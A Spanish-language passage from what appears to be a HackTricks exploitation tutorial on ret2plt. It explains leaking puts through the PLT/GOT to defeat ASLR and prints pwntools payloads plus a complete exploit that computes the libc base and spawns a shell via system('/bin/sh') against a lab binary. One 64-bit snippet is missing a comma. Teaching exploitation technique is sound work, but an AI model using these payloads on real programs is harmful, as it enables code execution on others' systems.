Ret2plt

Aprende hacking en AWS desde cero hasta experto con htARTE (HackTricks AWS Red Team Expert)!

Otras formas de apoyar a HackTricks:

Información Básica

El objetivo de esta técnica sería filtrar una dirección de una función desde la PLT para poder evadir ASLR. Esto se debe a que si, por ejemplo, filtras la dirección de la función puts desde la libc, entonces puedes calcular dónde está la base de libc y calcular desplazamientos para acceder a otras funciones como system.

Esto se puede hacer con un payload de pwntools como (desde aquí):

# 32-bit ret2plt
payload = flat(
b'A' * padding,
elf.plt['puts'],
elf.symbols['main'],
elf.got['puts']
)

# 64-bit
payload = flat(
b'A' * padding,
POP_RDI,
elf.got['puts']
elf.plt['puts'],
elf.symbols['main']
)

Observa cómo se llama a puts (usando la dirección de la PLT) con la dirección de puts ubicada en la GOT (Tabla de Desplazamiento Global). Esto se debe a que cuando puts imprime la entrada GOT de puts, esta entrada contendrá la dirección exacta de puts en la memoria.

También observa cómo se utiliza la dirección de main en el exploit para que cuando puts finalice su ejecución, el binario llame a main nuevamente en lugar de salir (por lo que la dirección filtrada seguirá siendo válida).

Ten en cuenta que para que esto funcione, el binario no puede estar compilado con PIE o debes haber encontrado una filtración para evitar PIE para conocer la dirección de la PLT, GOT y main. De lo contrario, primero debes evitar PIE.

Puedes encontrar un ejemplo completo de este bypass aquí. Este fue el exploit final de ese ejemplo:

from pwn import *

elf = context.binary = ELF('./vuln-32')
libc = elf.libc
p = process()

p.recvline()

payload = flat(
'A' * 32,
elf.plt['puts'],
elf.sym['main'],
elf.got['puts']
)

p.sendline(payload)

puts_leak = u32(p.recv(4))
p.recvlines(2)

libc.address = puts_leak - libc.sym['puts']
log.success(f'LIBC base: {hex(libc.address)}')

payload = flat(
'A' * 32,
libc.sym['system'],
libc.sym['exit'],
next(libc.search(b'/bin/sh\x00'))
)

p.sendline(payload)

p.interactive()

Otros ejemplos y Referencias

Última actualización